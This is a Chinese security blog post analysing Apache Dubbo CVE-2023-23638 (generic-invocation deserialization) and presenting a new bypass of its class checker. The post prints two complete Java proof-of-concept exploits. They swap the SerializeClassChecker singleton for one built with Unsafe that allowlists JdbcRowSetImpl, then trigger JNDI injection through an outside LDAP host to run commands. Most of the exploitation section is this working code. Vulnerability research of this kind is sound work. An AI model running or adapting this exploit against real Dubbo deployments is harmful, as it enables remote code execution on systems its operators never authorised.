Apache Dubbo CVE-2023-23638 分析

admin 2023年12月16日08:35:48评论10 views字数 8092阅读26分58秒阅读模式

Apache Dubbo CVE-2023-23638 的另外一种利用方式

一些参考链接

https://lists.apache.org/thread/8h6zscfzj482z512d2v5ft63hdhzm0cb

https://github.com/apache/dubbo/commit/6e5c1f8665216ccda4b2eb8c0465882efe62dd61

https://github.com/apache/dubbo/commit/ce3b0e285a463b566a9d685049201bfaf526c8ac

https://github.com/apache/dubbo/commit/4f664f0a3d338673f4b554230345b89c580bccbb

对比下 commit 可以发现它增加了对 Seralizable 接口的检查, 在 >= 3.1.6 版本中这个选项默认是开启的, 也就是阻止了非 Serializable 接口实现类的序列化与反序列化

https://cn.dubbo.apache.org/zh-cn/overview/mannual/java-sdk/advanced-features-and-usage/security/class-check/

然后参考 Apache mailist 的内容可以发现漏洞点是 Generic Invoke, 也就是泛化调用

https://cn.dubbo.apache.org/zh-cn/overview/mannual/java-sdk/advanced-features-and-usage/service/generic-reference/

简单来说, 泛化调用可以使我们不依赖具体的接口 API, 就可以调用对应 Service 的某个方法

官方 samples 如下

https://github.com/apache/dubbo-samples/tree/master/2-advanced/dubbo-samples-generic

以 3.1.5 版本为例

HelloService.java

public interface HelloService {
    Object sayHello(Object name);
}

HelloServiceImpl.java

public class HelloServiceImpl implements HelloService {
    @Override
    public Object sayHello(Object name) {
        return name;
    }
}

DemoConsumer.java

package org.apache.dubbo.samples;

import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;


public class DemoConsumer {
    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
        context.start();

        GenericService genericService = (GenericService) context.getBean("helloService");
        genericService.$invoke("sayHello", new String[]{"java.lang.Object"}, new Object[]{new HashMap<>()});
    }
}

DemoProvider.java

package org.apache.dubbo.samples;

import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.util.concurrent.CountDownLatch;


public class DemoProvider {

    public static void main(String[] args) throws Exception {

        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-provider.xml");
        context.start();

        System.out.println("dubbo service started");
        new CountDownLatch(1).await();
    }
}

参考 commit 里面更改的内容, 关注 org.apache.dubbo.common.utils.PojoUtils#realize0 方法

http://cn-sec.com/wp-content/uploads/2023/12/20231215113904-67.png

如果 pojo 属于 Map 类型, 就会将其中 class 键对应的内容取出来作为 className, 先通过 SerializeClassChecker 的 validateClass 进行过滤, 然后传入 forName 方法加载类

getInstance 方法

http://cn-sec.com/wp-content/uploads/2023/12/20231215113905-71.png

然后注意对 INSTANCE 属性的定义

private static volatile SerializeClassChecker INSTANCE = null;

很经典的单例模式

validateClass 方法

http://cn-sec.com/wp-content/uploads/2023/12/20231215113905-54.png

首先验证白名单, 然后验证黑名单

CLASS_DESERIALIZE_ALLOWED_SETCLASS_DESERIALIZE_BLOCKED_SET 的内容对应在 dubbo jar 包的 security 目录下

http://cn-sec.com/wp-content/uploads/2023/12/20231215113906-58.png

回到 realize0 方法, 继续往下看

http://cn-sec.com/wp-content/uploads/2023/12/20231215113906-14.png

遍历 Map 中所有的 key, 并尝试获取与 key 对应的 setter 或 Field, 然后赋值

setter 赋值跟 fastjson 的反序列化很像, 所以很容易想出来一种常规的利用思路: 调用 JdbcRowSetImpl 的 setAutoCommit 方法造成 jndi 注入 (这里其实可以使用其它反序列化的 payload, 但为了方便后续分析就选用了 jndi 注入)

但是由于 SerializeClassChecker 会对 classname 进行检查, 默认的黑名单已经基本上把所有可以触发漏洞的类都给过滤了

不过在这里有一个很有意思的点: 在 Apache Dubbo 从 2.7.21, 3.0.13, 3.1.5 升级到 2.7.22, 3.0.14, 3.1.6 (已修复漏洞的版本) 的过程中, security 目录下的 serialize.allowlistserialize.blockedlist, 也就是白名单和黑名单, 没有任何变化

那么可以大致推断出来, 这个漏洞并不是由于新增的某条利用链所引起的, 否则 dubbo 就应该只会更新自己的黑白名单, 但是它却使用了一种更为彻底的过滤方法 (检测 class 是否实现 Serializable 接口)

所以这里的绕过思路需要更大胆一点

因为上面的过程会同时获取可能的 setter 和 Field, 然后赋值, 所以我们基本上可以控制任何类的任何属性 (即使它没有对应的 setter)

而且最关键的一点在于 SerializeClassChecker 并不在黑名单里面, 而它又是单例模式, 会通过 getInstance 方法返回 INSTANCE 属性对应的值, 即 SerializeClassChecker 的实例对象

所以我们可以通过上面的 Field 赋值机制, 将 SerializeClassChecker 的 INSTANCE 属性更改为我们自定义的 SerializeClassChecker, 然后在这个自定义的 checker 中, 将 JdbcRowSetImpl 加到白名单里面, 或者将黑名单置空, 或者将 OPEN_CHECK_CLASS 更改为 false, 从而绕过这个检查机制

poc 如下

package org.apache.dubbo.samples;

import org.apache.dubbo.common.utils.ConcurrentHashSet;
import org.apache.dubbo.common.utils.SerializeClassChecker;
import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.misc.Unsafe;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Set;

public class DemoConsumer {
    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
        context.start();

        Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        Unsafe unsafe = constructor.newInstance();

        Set<String> allowSet = new ConcurrentHashSet<>();
        allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase());

        SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
        Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET");
        f.setAccessible(true);
        f.set(serializeClassChecker, allowSet);

//        SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
//        Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_BLOCKED_SET");
//        f.setAccessible(true);
//        f.set(serializeClassChecker, new ConcurrentHashSet<>());

        Map<Object, Object> map1 = new HashMap<>();
        map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
        map1.put("INSTANCE", serializeClassChecker);

        Map<Object, Object> map2 = new LinkedHashMap<>();
        map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
        map2.put("dataSourceName", "ldap://192.168.100.1:1389/Basic/Command/calc");
        map2.put("autoCommit", true);

        Map<Object, Object> map3 = new LinkedHashMap<>();
        map3.put("1", map1);
        map3.put("2", map2);

        GenericService genericService = (GenericService) context.getBean("helloService");
        genericService.$invoke("sayHello", new String[]{"java.lang.Object"}, new Object[]{map3});
    }
}

这里面有一些注意点

  1. 为了避免在实例化 SerializeClassChecker 的时候调用构造函数自行加载黑白名单和设置 OPEN_CHECK_CLASS 属性, 需要使用 Unsafe 类以在无需调用构造函数的情况下进行实例化
  2. 在反序列化 JdbcRowSetImpl 类的过程中, setter 的调用必须保证先后顺序, 即先调用 setDataSourceName, 然后再调用 setAutoCommit, 所以需要使用 LinkedHashMap
  3. Hessian 序列化时会在本地检查对应类是否实现了 Serializable 接口, 在 dubbo consumer 中可以设置 -Ddubbo.hessian.allowNonSerializable=true 参数以禁用检查
  4. 在修改白名单的时候注意把 classname 全部转成小写

测试在 Apache Dubbo 2.7.21, 3.0.13, 3.1.5 三个版本中都能够弹出计算器

http://cn-sec.com/wp-content/uploads/2023/12/20231215113908-15.png

后来发现一个问题, 就是在调用 sayHello 方法时, 参数的类型必须是 java.lang.Object, 否则会出现无法利用的情况 (利用面有点窄)

经过测试发现问题出现在下面的地方

http://cn-sec.com/wp-content/uploads/2023/12/20231215113908-100.png

当参数为 java.lang.String 或其它类型时, 无法进入 if 语句, 也就无法对 HashMap 中的 value 调用 realize0 方法

解决方法是使用 Collection

http://cn-sec.com/wp-content/uploads/2023/12/20231215113909-40.png

当 pojo 属于 Collection 类或其子类的时候, 无论 type 的具体内容是什么, 最终都会遍历 Collection 并对里面的值调用 realize0 方法

所以利用 Collection 的子类构造 poc 可以将利用面从参数为 java.lang.Object 类型扩大为参数为 java.lang.Object, java.lang.String, java.lang.Integer 等其它非基本类型

最终 poc

package org.apache.dubbo.samples;

import org.apache.dubbo.common.utils.ConcurrentHashSet;
import org.apache.dubbo.common.utils.SerializeClassChecker;
import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.misc.Unsafe;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class DemoConsumer {
    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
        context.start();

        Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        Unsafe unsafe = constructor.newInstance();

        Set<String> allowSet = new ConcurrentHashSet<>();
        allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase());

        SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
        Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET");
        f.setAccessible(true);
        f.set(serializeClassChecker, allowSet);

//        SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
//        Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_BLOCKED_SET");
//        f.setAccessible(true);
//        f.set(serializeClassChecker, new ConcurrentHashSet<>());

        Map<Object, Object> map1 = new HashMap<>();
        map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
        map1.put("INSTANCE", serializeClassChecker);

        Map<Object, Object> map2 = new LinkedHashMap<>();
        map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
        map2.put("dataSourceName", "ldap://192.168.100.1:1389/Basic/Command/calc");
        map2.put("autoCommit", true);

        List list = new LinkedList();
        list.add(map1);
        list.add(map2);

        GenericService genericService = (GenericService) context.getBean("helloService");
        genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{list});
    }
}

相关源代码: https://github.com/X1r0z/CVE-2023-23638

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月16日08:35:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Dubbo CVE-2023-23638 分析http://cn-sec.com/archives/2305095.html

发表评论

匿名网友 填写信息